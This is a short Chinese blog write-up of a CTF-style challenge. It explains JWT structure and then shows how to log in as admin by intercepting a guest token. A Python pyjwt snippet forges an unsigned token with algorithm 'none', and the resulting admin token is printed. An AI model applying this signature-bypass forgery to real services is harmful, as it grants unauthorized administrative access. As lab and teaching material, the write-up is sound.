当前位置:首页 > Web开发 > 正文

JSON Web Token (JWT)

2024-03-31 Web开发

To validate the challenge, connect as admin.------------以admin登陆

https://jwt.io/introduction/           
JSON Web令牌(JWT)是一个开放标准(RFC 7519),它定义了一种紧凑且自包含的方式,,用于在各方之间作为JSON对象安全地传输信息。由于此信息是经过数字签名的,因此可以被验证和信任。可以使用秘密(使用HMAC算法)或使用RSA或ECDSA的公钥/私钥对对JWT进行签名。

  JWT的数据分为三部分:标头,有效载荷,签名(签名)。

  因为标头和有效负载以明文形式存储,所以签名用于防止数据被修改。
  提供数据的事务处理功能的签名通常使用RS256(RSA非对称加密和私钥签名)和HS256(HMAC SHA256对称加密)算法。,签名对象为base64UrlEncode(headers)+‘。+ base64UrlEncode(‘signature‘)。

开始挑战------------------

技术图片

以guest身份登陆

技术图片

bp截断获取jwt

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk

https://jwt.io ----------------  查看有效载荷

技术图片

使用python的pyjwt模块,使用admin有效载荷------------重新生成令牌,没有算法

>>> import jwt
>>> encoded = jwt.encode({‘username‘: ‘admin‘}, ‘‘, algorithm=‘none‘)
>>> encoded
‘eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.‘

技术图片

JSON Web Token (JWT) - Introduction

温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/file/web/39825.html